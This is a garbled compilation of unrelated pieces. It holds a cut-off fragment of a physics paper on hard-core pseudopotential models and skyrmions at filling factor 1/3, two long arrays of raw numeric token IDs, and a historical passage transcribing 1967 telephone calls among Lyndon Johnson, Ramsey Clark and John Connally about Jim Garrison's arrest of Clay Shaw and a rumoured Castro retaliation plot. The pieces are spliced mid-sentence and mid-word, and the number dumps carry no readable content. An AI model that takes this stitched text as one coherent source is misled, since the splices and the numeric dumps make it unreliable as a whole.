separate energy scale and resolves the many-particle energy spectrum more finely. A useful orientation is the hard-core model with $V_0$ and $V_1$ arbitrarily large and all other pseudopoentials set to zero. For this model, finite energy eigenstates necessarily have zero probability amplitude for finding pairs of electrons in states with relative angular momenta $0$ and $1$, and therefore can be written in the form[@murray; @dziarmaga] $$\Psi[z] = \big[ \prod_{i<j}^{N} (z_i - z_j)^2 \big] \Psi^{*} [z] \label{v0v1wf}$$ where $\Psi^{*}[z]$ is a many-fermion spinor. Since the maximum single-particle $m$ at $\nu = 1/3$ is $N_{\phi} = 3 N$, and the factor in square brackets in Eq.( \[v0v1wf\]) contains powers of $z_i$ up to $2 N$ it follows that the many-fermion spinors $\Psi^{*}[z]$ can be composed of orbitals with $m$ from $0$ to $N$. This establishes a one-to-one mapping between the zero energy eigenstates of the $V_0 - V_1$ hard-core model filling factor $\nu = \nu^* +2 $ and the full many-fermion Hilbert space at $\nu =\nu^*$. For $k_B T$ much smaller than $V_0$ and $V_1$, the hard-core model $M(T)$ at $\nu = 3$ will be identical to $M(T)$ for a non-interacting electron system at $\nu = 1$: $$M^{HC}(T) = N \mu_B \tanh (\Delta_z / 4 k_B T). \label{v0v1moft}$$ This result should be compared with that non-interacting electrons at the same filling factor: $$M^{NI}(T) = N \mu_B \frac{ \sinh (\Delta_z / 2 k_B T)} { z + \cosh(\Delta_z / 2 k_B T)}. \label{nonintmoft}$$ where $z = \exp(\mu/k_B T )$ is the fugacity which, for $\nu =1/m$, approaches its maximum value $1/(2m-1)$, as $T \to \infty$: $$\frac{1}{m} = \frac{z}{\exp(\Delta/2 k_B T) +z} + \frac{z}{\exp(-\Delta/2 k_B T) +z} \label{fugacity}$$ It follows that hard-core model interactions [*always*]{} reduce $M(T)$, at $\nu = 1/3$, in conflict with the common qualitative notion of exchange and correlation enhanced spin magnetization. We now consider an extended hard-core model for which $V_0$ and $V_1$ are arbitrarily large, but $V_2$ is also non-zero. We will argue later that this model captures the essence of the physically realistic situation. The added pseudopotential lifts the degeneracy among the low energy eigenstates of the hard-core model. In Table I we list many-particle eigenenergies for the ground state at $\nu =1/3$ and for states with fractionally charged quasielectrons and quasiholes and various integer numbers (K) of reversed spins. We first note the gross differences between the quasiparticle and quasihole results. Zero interaction energy quasihole states occur at all values of $K$ and are related to the zero energy states of the $\nu = 1$ $V_0 \ne 0$ hard-core model by the same $\prod_{i<j} (z_i - z_j)^2$ factor that appears in Eq.( \[v0v1wf\]). In the $\nu=1$ case, the large $K$ zero energy quasihole states correspond[@nu1hardcore] to the skyrmion[@sondhi] topologically charged spin-textures of classical field theories. We follow previous practice and refer to all the quasiholes with $K \ge 1$ as skyrmion states. For $\nu = 1$ particle-hole symmetry[@kyphsym] guarantees that skyrmion quasiparticle states appear for $K \ge 2$ and that these have the same dependence of energy on $K$ as the quasihole states. We can infer from Table I that, although quasiparticle-quasihole symmetry does not hold for $\nu = 1/3$, quas

[ 12486, 62, 598, 327, 253, 7061, 1051, 285, 1918, 779, 816, 752, 368, 1849, 2183, 479, 670, 436, 2644, 5406, 13, 594, 344, 2506, 626, 755, 3206, 342, 247, 4956, 3908, 15, 187, 187, 424, 2019, 782, 6098, 17410, 8057, 32, 187, 187, 424, 32336, 6098, 11739, 15, 187, 187, 424, 2019, 782, 6098, 6089, 13, 326, 434, 1051, 326, 2119, 1051, 604, 326, 651, 320, 3576, 13, 359, 2119, 12758, 66, 513, 352, 13, 984, 544, 664, 1849, 62, 12759, 275, 1512, 2080, 2168, 15, 187, 187, 424, 32336, 6098, 795, 30271, 64, 1512, 2080, 1051, 597, 12758, 66, 871, 352, 15, 187, 187, 424, 2019, 782, 6098, 11739, 15, 309, 544, 5092, 62, 755, 987, 281, 326, 13, 309, 1833, 513, 1128, 187, 187, 424, 32336, 6098, 309, 1871, 816, 513, 352, 1024, 15, 544, 42, 1871, 62, 816, 1333, 544, 936, 18718, 8057, 1092, 604, 368, 476, 1408, 407, 1060, 13, 390, 604, 309, 476, 1408, 923, 368, 13, 309, 1158, 309, 12758, 66, 2319, 690, 273, 841, 1841, 15, 1244, 309, 651, 1056, 779, 544, 12486, 62, 1705, 407, 627, 16092, 13, 390, 1408, 407, 521, 10230, 15, 4923, 344, 816, 1051, 32299, 432, 253, 13290, 285, 2506, 626, 871, 752, 344, 434, 2312, 249, 8, 670, 15, 309, 1158, 544, 338, 62, 352, 1871, 320, 327, 816, 4114, 13, 368, 1833, 755, 247, 1652, 1805, 544, 6870, 1570, 19619, 15, 187, 187, 424, 2019, 782, 6098, 25913, 13, 8674, 15, 187, 187, 424, 32336, 6098, 309, 1833, 1067, 368, 3164, 275, 253, 34927, 249, 5983, 8948, 368, 1537, 1705, 407, 1078, 309, 755, 689, 432, 253, 544, 12560, 4995, 62, 353, 6232, 835, 359, 1053, 626, 755, 21018, 15, 3245, 187, 187, 817, 1401, 18489, 374, 424, 187, 187, 4118, 8216, 50276, 187, 4509, 2516, 27301, 595, 1227, 898, 27, 1423, 268, 15, 78, 15, 187, 187, 2447, 1257, 4304, 296, 281, 253, 3345, 1533, 13, 846, 5119, 20496, 6595, 434, 2471, 2067, 273, 8438, 443, 27995, 434, 1755, 44400, 452, 38720, 779, 281, 5926, 521, 18512, 22993, 5839, 13, 534, 597, 923, 347, 1469, 17663, 3809, 15, 20496, 6595, 434, 5982, 40580, 310, 247, 14072, 5107, 13, 597, 2028, 253, 20159, 38007, 3286, 6834, 13, 984, 352, 3400, 247, 3962, 16267, 15, 2726, 521, 5575, 346, 21063, 5517, 3, 3846, 13, 443, 27995, 476, 3552, 4360, 9059, 326, 253, 5839, 2550, 4035, 15, 346, 6723, 368, 10412, 865, 443, 27995, 27019, 15, 346, 5498, 626, 368, 8968, 326, 359, 403, 327, 253, 39931, 273, 16161, 581, 273, 253, 12137, 273, 253, 5331, 865, 2759, 187, 187, 2374, 3919, 337, 443, 27995, 331, 4539, 1457, 20159, 1128, 395, 2067, 16099, 285, 17085, 275, 521, 1211, 3906, 1128, 1615, 15824, 253, 5263, 273, 21710, 24999, 13, 253, 14373, 14419, 6423, 273, 253, 5625, 17061, 5794, 15, 733, 310, 11467, 33917, 281, 1457, 2816, 434, 3286, 6834, 47239, 6911, 25084, 323, 772, 46496, 281, 18111, 4024, 3918, 16598, 15, 24999, 434, 17061, 5794, 13, 795, 783, 64, 27934, 30951, 275, 253, 2846, 434, 1629, 36226, 13, 310, 5506, 323, 37078, 3629, 253, 6427, 6460, 273, 1457, 20159, 347, 247, 15076, 2245, 285, 556, 644, 516, 15281, 407, 5454, 14, 23674, 8238, 1475, 253, 1533, 15, 23449, 432, 24999, 434, 29774, 12681, 347, 581, 273, 253, 2846, 434, 954, 12368, 11574, 285, 35857, 14, 23674, 2136, 3767, 13, 344, 310, 1682, 1929, 12171, 323, 45200, 253, 1501, 7523, 45081, 273, 253, 14464, 5112, 29787, 13, 285, 323, 1146, 247, 22694, 27736, 48605, 665, 476, 1750, 16091, 8757, 347, 247, 3331, 15, 380, 13719, 14, 12496, 14, 2913, 14, 744, 24999, 556, 1620, 644, 7939, 13, 1199, 1679, 6949, 13, 275, 4602, 342, 253, 34024, 273, 3918, 16598, 13, 285, 253, 2846, 310, 21413, 21407, 777, 407, 253, 3668, 15, 11706, 13, 285, 3738, 1457, 20159, 556, 2326, 625, 685, 697, 3894, 273, 30820, 1345, 6338, 9583, 275, 42326, 6993, 13, 253, 5649, 273, 253, 5545, 11521, 281, 443, 27995, 15, 29578, 952, 13, 3345, 24999, 434, 9096, 273, 28262, 1972, 285, 521, 16099, 13, 2868, 326, 247, 3286, 6834, 651, 320, 795, 601, 64, 32397, 285, 3496, 37882, 347, 281, 5263, 247, 637, 1293, 6832, 1941, 15, 10036, 253, 35531, 310, 3735, 27, 443, 27995, 795, 18265, 452, 1633, 4414, 187, 187, 6872, 3394, 46196, 347, 6112, 14176, 2516, 27301, 595, 310, 327, 247, 32223, 4143, 281, 1457, 2816, 15, 380, 16545, 37579, 273, 253, 16700, 5694, 68, 796, 310, 1345, 3006, 253, 1735, 1533, 434, 4344, 13, 534, 310, 11526, 281, 1527, 275, 5003, 18089, 275, 4162, 16221, 15, 3900, 27301, 595, 310, 16535, 327, 11365, 4116, 323, 253, 6112, 47284, 13, 1457, 2816, 16817, 760, 971, 281, 1642, 779, 670, 253, 42390, 3668, 273, 271, 4588, 5263, 15, 2227, 2596, 1457, 2816, 5553, 3668, 19564, 1128, 56, 11965, 13, 4102, 11516, 281, 247, 2164, 16, 24, 3668, 5981, 1128, 261, 3782, 15211, 281, 1056, 247, 1616, 323, 3139, 285, 14177, 281, 7171, 512, 643, 23812, 13, 1014, 253, 6371, 3238, 13, 342, 253, 6323, 16936, 15, 411, 11965, 28070, 5012, 432, 253, 15670, 434, 3906, 2761, 2336, 37438, 13, 970, 346, 266, 32505, 365, 607, 494, 2603, 937, 954, 2779, 443, 27995, 2994, 15, 2691, 380, 15198, 763, 9610, 6524, 4850, 281, 27301, 595, 13, 665, 556, 1900, 15038, 433, 342, 253, 4342, 273, 253, 17966, 5399, 5747, 521, 973, 14, 4387, 1025, 3910, 689, 253, 346, 20199, 16950, 3762, 449, 3032, 5306, 3396, 36712, 13, 1024, 253, 14176, 2506, 626, 871, 752, 281, 1158, 15, 26502, 8216, 7237, 344, 21936, 281, 2312, 281, 253, 4007, 15, 187, 187, 31201, 595, 3164, 21973, 253, 4007, 281, 320, 48515, 323, 767, 4606, 15, 380, 14176, 6057, 326, 627, 310, 2223, 247, 11882, 25922, 16535, 281, 7902, 434, 4680, 15, 496, 1635, 13, 253, 2926, 27301, 595, 310, 4854, 43603, 6911, 16598, 275, 247, 1077, 24038, 1708, 15, 1292, 7902, 556, 3715, 247, 8729, 1504, 5491, 12046, 670, 443, 27995, 434, 11307, 795, 395, 64, 34024, 14777, 24628, 6828, 1411, 34192, 1309, 253, 16598, 5286, 15, 2597, 2726, 1675, 281, 253, 3438, 13, 253, 12578, 556, 18648, 13762, 253, 4007, 326, 443, 27995, 310, 247, 1018, 13324, 266, 285, 326, 2717, 344, 2296, 16108, 4092, 4116, 15, 16257, 13, 41216, 10188, 284, 556, 8042, 562, 281, 7902, 816, 849, 2120, 273, 11385, 253, 30864, 25065, 2926, 3133, 281, 320, 2220, 2810, 15981, 15, 187, 187, 34, 2129, 1078, 13, 253, 443, 27995, 10304, 285, 25065, 2926, 20845, 281, 28432, 1016, 643, 275, 7902, 434, 2564, 15, 3954, 253, 12578, 434, 1262, 433, 2996, 273, 443, 27995, 13, 2112, 342, 10188, 284, 434, 24626, 13, 12186, 460, 779, 281, 1158, 326, 253, 34192, 29995, 2926, 310, 816, 347, 4956, 285, 43126, 4552, 347, 2712, 3551, 562, 273, 1457, 20159, 15, 187, 187, 424, 32336, 6098, 544, 42, 1353, 62, 4030, 13, 22810, 15, 187, 187, 424, 31201, 595, 6098, 309, 1353, 7016, 281, 15105, 368, 15, 2615, 368, 8028, 281, 479, 323, 670, 2620, 2909, 32, 187, 187, 424, 32336, 6098, 15594, 15, 187, 187, 424, 31201, 595, 6098, 1876, 1388, 3063, 309, 452, 644, 20114, 598, 1060, 1051, 597, 1472, 23265, 10155, 6281, 327, 436, 795, 45097, 1974, 64, 2181, 1051, 1754, 327, 752, 436, 269, 5021, 13, 436, 15670, 275, 1457, 20159, 12088, 670, 13, 544, 2520, 15670, 62, 4907, 443, 27995, 15, 50276, 187, 42, 452, 816, 644, 20114, 795, 16245, 4414, 1244, 273, 2282, 13, 309, 816, 3365, 1333, 326, 309, 871, 795, 26142, 64, 670, 352, 15, 1292, 247, 3668, 1342, 4907, 5171, 6212, 556, 816, 644, 1060, 281, 4572, 479, 969, 15, 1583, 452, 247, 1048, 2926, 327, 253, 5553, 11608, 13, 689, 411, 11965, 13, 247, 3668, 5553, 4660, 1060, 275, 1457, 2816, 15, 2055, 3976, 2205, 42073, 310, 253, 544, 56, 11965, 62, 2087, 7205, 15, 754, 434, 644, 2312, 249, 8, 281, 479, 745, 285, 327, 512, 1388, 285, 1611, 249, 8, 281, 1978, 479, 9269, 327, 352, 15, 2511, 1583, 544, 56, 11965, 62, 24628, 452, 247, 2926, 432, 247, 637, 665, 3047, 253, 4367, 275, 443, 27995, 434, 3906, 1051, 344, 310, 253, 15670, 275, 1457, 20159, 15, 309, 1053, 626, 452, 253, 795, 40338, 64, 2926, 13, 533, 1060, 434, 752, 597, 1333, 15, 50276, 187, 2773, 443, 27995, 556, 1491, 326, 651, 5276, 326, 627, 497, 795, 12496, 64, 34024, 544, 442, 1317, 62, 1051, 795, 515, 515, 968, 64, 275, 253, 1986, 2077, 13, 2197, 1060, 407, 544, 39, 5735, 62, 34192, 13, 390, 34192, 434, 952, 15, 544, 29710, 62, 417, 407, 34192, 2994, 13, 533, 581, 273, 521, 7027, 10284, 1103, 15, 2596, 2285, 369, 5055, 598, 275, 1457, 2816, 1051, 533, 795, 14958, 64, 417, 1051, 369, 5055, 598, 285, 20114, 407, 253, 12578, 285, 253, 7743, 6631, 13, 533, 858, 417, 10313, 247, 1270, 2968, 273, 1491, 534, 369, 795, 15735, 4414, 50276, 187, 4041, 273, 253, 6671, 369, 9924, 273, 8652, 24611, 45530, 8950, 28, 436, 269, 5021, 544, 2019, 333, 62, 24999, 13, 326, 556, 816, 644, 9833, 275, 1457, 20159, 11066, 28, 285, 253, 544, 615, 336, 833, 62, 637, 544, 19389, 5119, 62, 20496, 6595, 28, 5043, 581, 795, 977, 64, 637, 15, 1583, 497, 6671, 273, 1740, 15, 1244, 627, 497, 767, 795, 977, 64, 6671, 326, 309, 871, 2717, 670, 15, 50276, 187, 56, 11965, 13951, 556, 574, 690, 16817, 13, 2556, 281, 253, 3420, 1060, 13, 275, 795, 36, 25642, 64, 1051, 2444, 327, 2710, 14636, 273, 436, 2181, 323, 253, 2469, 544, 37922, 62, 1897, 15, 1583, 671, 452, 247, 2285, 273, 16817, 795, 249, 64, 1457, 20159, 795, 3113, 64, 443, 27995, 15, 496, 24605, 597, 1119, 13, 2556, 1128, 60, 395, 62, 436, 310, 795, 635, 64, 18987, 13, 285, 795, 455, 64, 273, 436, 310, 417, 564, 249, 8, 327, 253, 2329, 1051, 795, 255, 512, 4414, 2270, 1292, 275, 24605, 1051, 285, 253, 767, 16817, 326, 597, 574, 627, 497, 2444, 432, 1027, 14636, 285, 2210, 2366, 342, 795, 911, 24374, 64, 253, 1072, 2926, 15, 50276, 187, 510, 2926, 1128, 3529, 597, 1472, 795, 1439, 64, 1469, 281, 15452, 1128, 261, 326, 846, 253, 544, 32796, 62, 22822, 8891, 13, 3918, 16598, 285, 544, 39104, 5741, 62, 611, 6285, 2345, 45627, 574, 1160, 247, 2968, 281, 3553, 34192, 275, 1612, 15, 1292, 670, 2800, 2607, 846, 253, 22822, 8891, 369, 795, 1189, 64, 1157, 253, 17879, 369, 795, 249, 2855, 264, 64, 281, 18111, 4024, 34192, 1051, 285, 2197, 6671, 715, 24605, 15, 3808, 273, 686, 358, 497, 10848, 285, 37274, 13, 285, 34192, 285, 521, 952, 1128, 395, 309, 5467, 4661, 443, 489, 2044, 66, 1128, 28996, 253, 2644, 2926, 15, 4739, 380, 1491, 597, 452, 1060, 13, 534, 597, 1472, 795, 1439, 64, 6501, 1408, 13, 310, 326, 3918, 16598, 858, 795, 1439, 64, 544, 1065, 62, 253, 1340, 281, 253, 17879, 13, 533, 326, 690, 795, 977, 64, 1436, 6685, 2810, 281, 3918, 16598, 795, 14958, 4414, 1583, 858, 417, 1416, 253, 637, 1051, 533, 253, 17032, 369, 1077, 2590, 15, 380, 795, 249, 1793, 64, 369, 1051, 326, 352, 369, 521, 795, 41978, 64, 544, 10002, 62, 6960, 253, 17879, 281, 5007, 247, 2285, 715, 24605, 281, 18111, 4024, 34192, 15, 2635, 581, 273, 34192, 434, 795, 9114, 10284, 1103, 64, 1157, 347, 247, 30667, 261, 267, 2557, 13, 2197, 1740, 6671, 275, 60, 936, 62, 253, 1986, 2077, 281, 18111, 4024, 3918, 16598, 15, 544, 1898, 62, 326, 8652, 24611, 45530, 8950, 795, 4238, 64, 544, 531, 273, 253, 62, 2758, 273, 253, 2285, 6498, 562, 273, 1457, 20159, 15, 50276, 187, 4125, 436, 310, 253, 2926, 326, 597, 795, 18959, 64, 597, 452, 15, 831, 310, 253, 1491, 326, 369, 1677, 281, 479, 11608, 13, 1679, 685, 271, 4964, 3622, 13, 407, 247, 12726, 4907, 5171, 6212, 13, 665, 2210, 1060, 281, 544, 249, 2855, 62, 3976, 2205, 42073, 13, 5207, 309, 3260, 275, 6112, 15, 544, 19334, 570, 369, 62, 247, 5553, 637, 1066, 627, 13, 285, 344, 434, 1024, 253, 2087, 7205, 273, 411, 11965, 15, 50276, 187, 42, 1869, 436, 651, 320, 273, 1600, 281, 368, 15, 309, 871, 2717, 625, 670, 352, 685, 326, 13, 533, 309, 1869, 368, 12758, 66, 871, 326, 15, 187, 187, 424 ]

Long] up on the Hill... and give him just what you've told me about this whole picture, so he doesn't get involved with a wild statement. **Clark:** Russell Long? **Johnson:** Yeah. **Clark:** Well, that's... that sure... if that would be effective, we sure oughta do it, because [we've] gotten in too far already. **Johnson:** _Much_ too far... they oughta know it. **Clark:** Yeah. I [can] get right to that, I'll do— **Johnson:** I'd just do it now. [I'd] just say [to Senator Long], if you can run by here, or if I can run see you, I think I oughta discuss some of these things. And I would make him [Long] come by there quietly, or run by his apartment. Because he just... shoots from the hip and doesn't know what he's talkin' about. I think [if] it'd be on just background, you'll get a little better [result]. Okay. **Clark:** Fine, sir. **Johnson:** I'll call you probably in the mornin'. Maybe you might come by before I get over from the [Executive] Mansion where we don't get interrupted.83 ## **March 2** ### Thursday From John Connally / 9:22 p.m. Unbeknownst to the outside world, after David Ferrie's death several of Jim Garrison's top aides have begged him to drop his faltering investigation, which they see as going nowhere fast. Ferrie's sudden demise is a golden opportunity, they tell the Orleans Parish district attorney, because it provides a perfect excuse. With his alleged "chief witness" dead, Garrison can credibly argue that the investigation cannot continue. "Are you crazy?" Garrison responds. "Don't you realize that we are on the verge of solving one of the crimes of the century?"84 On March 1 Garrison stuns New Orleans—and several lawyers and investigators in his own office—by ordering the arrest of Clay Shaw, the retired managing director of the International Trade Mart. It is roughly akin to New York's district attorney arresting Robert Moses for conspiring to assassinate President Kennedy. Shaw's Trade Mart, _the_ architectural landmark in the city's skyline, is responsible for vastly increasing the attractiveness of New Orleans as a shipping port and has been imitated by trade-minded cities around the world. Apart from Shaw's deserved reputation as one of the city's most esteemed and civic-minded businessmen, he is best known locally for pioneering the postwar renovation of the historic French Quarter, and for being a respected amateur playwright who can claim Tennessee Williams as a friend. The fifty-four-year-old Shaw has never been linked, much less investigated, in connection with the assassination of President Kennedy, and the city is dumbstruck by the news. Still, and although New Orleans has seen more than its share of colorful public officials engaged in dubious acts, the benefit of the doubt falls to Garrison. Few people, outside Shaw's circle of acquaintances and his lawyers, believe that a district attorney would be _so_ reckless and irresponsible as to arrest a man without substantial evidence. Again the refrain is heard: Garrison _must have something_. These events unfold as Texas governor John Connally is on a promotional visit to New York. The wounded survivor of the Dallas motorcade is publicizing the next world's fair, which is scheduled to open in San Antonio in April 1968. While Connally is bent on generating attention for the Texas exposition, New York reporters only want to ask him about the startling news of an actual arrest.85 One New York radio news outlet—WINS, recently converted to a 24/7 news format—is particularly eager to make a mark for itself and tries to beat all other outlets, even the wire services, with the latest developments. WINS cites reports from the DA's office almost verbatim, using "an unimpeachable source," most likely Garrison himself.86 The feverish reporting eventually gets to Connally, who has always concurred with the findings of the Warren Commission despite his well-publicized differences over the "single bullet theory." His certitude shaken, now the governor doesn't know what to think. Late Thursday evening he decides to talk to the president. Connally probably expects the president to be intrigued for two reasons. The governor knows that there is often a conspiratorial bent to Johnson's thinking. In addition, the story Connally is hearing casts Robert Kennedy in a very damaging light. But Johnson has developed a jaundiced attitude about Garrison's allegations _and_ assassination plots supposedly directed against Castro during the Kennedy administration.87 With respect to the former, the FBI has firmly convinced the president that Garrison is a charlatan and that nothing he says merits serious attention. Meanwhile, Abe Fortas has pointed out to Johnson just how full of holes the Drew Pearson story seems to be upon close inspection. A week before, the Garrison probe and Pearson story tended to reinforce each other in Johnson's mind. Now the FBI's discrediting of Garrison, along with Fortas's doubts, incline him to think that the Castro retaliation story is just as wild and fanciful as anything coming out of New Orleans. **Johnson:** [I'm] fine, Johnny. **Connally:** I'm sorry to bother you. Can you listen to me for about five minutes? **Johnson:** Sure. **Connally:** All day today I have been interviewed up here... they're continually breaking stories on this _conspiracy_ thing... based on what this fella, this DA in New Orleans talks about, [this DA] named Garrison. I have just been interviewed _again_. And of course, I just simply say that I know _nothing_ about it. But a newsman named Paul Smith has just been here to interview me again. They have a long story on the radio tonight, over WINS, a news radio station here in New York.88 Charley Payne is the [WINS] general manager. He's been talkin' to me off and on all day and tryin' to keep me posted on it.89 They [WINS] supposedly have a story from a man who saw the files in Garrison's office... he is the DA in New Orleans. I don't have the _whole_ story, but here's what they say. That Garrison has information that would prove that there were _four_ assassination [teams]... _assassins_ in the United States, sent here by [Fidel] Castro, or Castro's people. [Sent] not by Castro himself, but one of his lieutenants. One team was picked up in New York... but _did_ not... was picked up and interviewed by the FBI and the Secret Service, but did not reveal a great deal of information which was _available_. One of the teams was composed of Lee Harvey Oswald; this fella [Clay] Shaw, that has just been arrested in New Orleans yesterday; and the [deceased] man [named David] Ferrie; plus one _other_ man. They were teams of four. And there were two _other_ teams that I know nothing about. WINS Radio has had some reporters, according to the media here, in _Cuba_... working on various angles of this thing for the past [few] days. They also have a team of reporters _in_ New Orleans _with_ Garrison. In Cuba they found, according—[and] this is _very_ confidential, and _all_ of this is not goin' on the air... _at all_.90 But in Cuba... and the two reporters that they had there were working from different angles and came together with _exactly_ the same story. The story—that they're _not_ going to publish—is that after the [1962] missile crisis, President Kennedy and [Nikita] Khrushchev had made a deal to leave Castro in power. But about six months after the missile crisis was _over_, the CIA was _instructed_ to assassinate Castro... and sent teams into Cuba. Some of 'em were captured and tortured, and Castro and his people—and I assume Che Guevara—heard the whole story.91 The information they have here, which they're _not_ gonna run, is that President Kennedy did _not_ [put] the order to the CIA, but that some _other_ person extremely close to President Kennedy _did_. They did not name the man... but the inference was very clear. The _inference_ was... that it was his _brother_ [who] ordered the CIA to send a team into Cuba to assassinate Castro. Then one of Castro's _lieutenants_, as a reprisal measure, sent four teams in[to] the United States to assassinate President Kennedy. [And] that Lee Harvey Oswald _was_ [one of the] members of the team operating out of New Orleans. Now this is the story that they _think_ they have. This is the information that was given to me tonight, less than an hour ago, by a reporter named Paul Smith, who came here to [instruct] Charley Payne, whom I knew in Texas. [Payne was] a radio man down there, and he's now the general manager of WINS. I thought this would be of interest to you. I know nothing more about it than that, but I thought you oughta know that. **

[ 474, 1055, 13, 10775, 271, 4465, 2803, 370, 18, 16, 91, 63, 19, 5, 534, 310, 12125, 275, 253, 3268, 273, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 4632, 15, 575, 5, 89, 64, 39, 1352, 7243, 436, 4465, 2803, 310, 5176, 13, 359, 923, 432, 2667, 23505, 339, 356, 962, 696, 67, 326, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 5459, 41907, 1037, 285, 9086, 347, 370, 91, 5, 7274, 5058, 15, 496, 643, 3000, 13, 253, 370, 82, 64, 53, 5, 3268, 3862, 561, 9086, 672, 370, 91, 5, 12075, 15, 831, 3879, 310, 5512, 8156, 407, 253, 2969, 370, 91, 2911, 6820, 1327, 44931, 800, 14893, 28101, 2803, 370, 52, 768, 11236, 1603, 67, 13, 50, 13, 89, 13, 91, 1009, 1677, 275, 6354, 27114, 47936, 348, 35333, 8001, 187, 187, 510, 5281, 273, 253, 501, 360, 1314, 2831, 2593, 387, 370, 82, 64, 53, 393, 3040, 608, 5, 22542, 285, 253, 30364, 45031, 273, 370, 52, 768, 11236, 1603, 67, 13, 50, 13, 89, 13, 91, 1009, 497, 6777, 281, 22950, 253, 4345, 875, 253, 501, 360, 1314, 3268, 273, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 575, 10936, 15, 575, 5, 89, 64, 39, 5, 285, 253, 773, 13472, 941, 668, 49694, 7836, 13663, 2667, 23505, 339, 356, 962, 696, 67, 481, 5317, 1447, 339, 356, 962, 696, 67, 2722, 326, 253, 501, 360, 1314, 10272, 310, 275, 1805, 4345, 342, 253, 941, 2792, 685, 253, 427, 8372, 2048, 15, 844, 452, 1119, 352, 2834, 281, 18302, 253, 5233, 3116, 273, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 347, 370, 89, 64, 39, 393, 376, 470, 5, 275, 2057, 2746, 15, 496, 253, 2852, 13, 352, 588, 320, 4722, 281, 923, 849, 247, 625, 10799, 10527, 1263, 588, 320, 2104, 281, 18212, 5513, 436, 5233, 3116, 273, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 275, 253, 2919, 370, 89, 64, 39, 393, 376, 470, 1366, 7384, 326, 253, 4588, 5661, 941, 323, 253, 669, 4841, 2805, 64, 53, 63, 19, 393, 3799, 5, 575, 10936, 15, 575, 5, 89, 64, 39, 5, 3268, 28788, 253, 773, 13472, 941, 668, 5469, 1840, 15, 187, 187, 510, 501, 20440, 318, 671, 3012, 11852, 253, 370, 81, 64, 53, 5, 10096, 273, 253, 6636, 8091, 29994, 15, 496, 2667, 23505, 1397, 304, 69, 431, 696, 359, 1246, 253, 3268, 3019, 18, 6602, 2592, 578, 23877, 2311, 187, 69, 61, 2592, 16, 12132, 64, 53, 1352, 844, 923, 326, 501, 20440, 318, 2538, 1364, 320, 2908, 281, 6266, 253, 5281, 273, 436, 3268, 387, 370, 81, 64, 53, 393, 3040, 187, 18, 5, 22542, 15, 5488, 13, 501, 20440, 318, 671, 19132, 253, 4345, 875, 253, 3762, 285, 253, 3368, 275, 253, 2644, 2491, 273, 370, 81, 64, 53, 1352, 11970, 6354, 27114, 81, 18269, 9014, 253, 5520, 5740, 273, 253, 370, 82, 64, 53, 5, 3268, 275, 253, 1355, 14595, 82, 64, 53, 5, 2919, 30376, 715, 247, 1805, 4345, 342, 253, 370, 81, 64, 53, 5, 3268, 275, 253, 2644, 2491, 273, 370, 81, 64, 53, 1352, 3771, 347, 275, 253, 1083, 273, 253, 370, 91, 2911, 5449, 13, 253, 4229, 14, 2621, 10272, 4245, 247, 2281, 326, 310, 1512, 1355, 2429, 281, 253, 941, 13, 534, 8018, 326, 2169, 14, 2621, 17660, 403, 1774, 15, 20539, 253, 3426, 2367, 1179, 473, 3713, 1637, 64, 84, 63, 19, 1009, 17660, 403, 2130, 13, 253, 501, 20440, 318, 30221, 13, 534, 2168, 8553, 323, 253, 954, 1774, 9021, 275, 253, 2919, 273, 253, 3408, 2317, 342, 253, 4585, 2281, 49694, 74, 15, 70, 904, 4622, 387, 1355, 370, 82, 64, 53, 17673, 11029, 347, 247, 1805, 10527, 10554, 275, 253, 2644, 2491, 273, 370, 81, 64, 53, 1352, 187, 187, 10971, 13, 2667, 23505, 1397, 304, 9665, 71, 696, 2722, 253, 370, 89, 64, 39, 2911, 35360, 323, 253, 6636, 8091, 29994, 3019, 18, 6602, 2592, 578, 23877, 2311, 69, 61, 2592, 16, 9665, 64, 39, 1352, 844, 923, 326, 1097, 253, 501, 360, 1314, 285, 4229, 14, 2621, 10670, 403, 275, 5272, 4345, 342, 253, 941, 285, 342, 4321, 3863, 10527, 1543, 323, 253, 2367, 1179, 473, 3713, 1637, 64, 84, 1009, 370, 89, 64, 39, 2911, 8155, 8303, 1008, 40, 42433, 12586, 1570, 1198, 253, 4229, 14, 2621, 29994, 13, 359, 1246, 767, 3081, 9191, 3969, 281, 1027, 10165, 273, 253, 39401, 4311, 669, 1906, 64, 39, 5, 275, 3891, 12690, 6113, 696, 558, 253, 2406, 285, 5170, 24817, 9191, 2723, 281, 669, 1906, 64, 39, 187, 30, 17, 15, 22, 1165, 5, 285, 370, 19, 1165, 1366, 2975, 15, 5838, 326, 253, 4311, 10096, 273, 253, 427, 8372, 29994, 5459, 672, 370, 91, 61, 376, 470, 1352, 5220, 3877, 326, 253, 501, 360, 1314, 29994, 310, 3012, 2406, 685, 253, 941, 275, 253, 767, 8840, 27925, 273, 370, 89, 64, 39, 5, 11443, 4841, 1269, 64, 39, 393, 3799, 426, 187, 17, 15, 29631, 5, 285, 370, 17, 15, 9312, 17673, 533, 5185, 342, 253, 427, 8372, 29994, 1561, 253, 11649, 1955, 281, 253, 4311, 10096, 15, 6102, 3879, 273, 253, 501, 360, 1314, 29994, 1543, 432, 253, 10096, 273, 253, 2367, 1179, 473, 3713, 1637, 64, 84, 1009, 10235, 3470, 2367, 1179, 330, 1990, 483, 313, 18, 20669, 5830, 3713, 8752, 1182, 13, 36, 64, 18, 13, 36, 64, 19, 13, 67, 15570, 1337, 1906, 64, 39, 1009, 327, 253, 3081, 1307, 669, 6677, 61, 20122, 5, 534, 369, 1677, 275, 24118, 27114, 36, 18, 483, 3851, 285, 3891, 36, 18, 483, 19, 3851, 285, 5469, 387, 253, 990, 273, 5238, 1447, 4538, 18548, 4207, 831, 4016, 42407, 36807, 253, 2367, 1179, 330, 1990, 483, 313, 18, 10392, 14, 20619, 387, 1077, 1355, 2193, 273, 669, 20122, 1352, 10244, 13, 253, 9909, 3891, 47, 8372, 6113, 3851, 273, 253, 427, 8372, 2831, 2593, 689, 253, 8840, 10269, 370, 17, 393, 3040, 2805, 64, 53, 63, 19, 393, 3040, 313, 82, 64, 53, 768, 33032, 21161, 19, 370, 7024, 327, 669, 6677, 464, 20122, 724, 949, 253, 2426, 46764, 313, 18, 16945, 27468, 67, 480, 1181, 367, 13380, 75, 247, 1181, 6734, 559, 367, 13380, 67, 480, 1181, 313, 2769, 18, 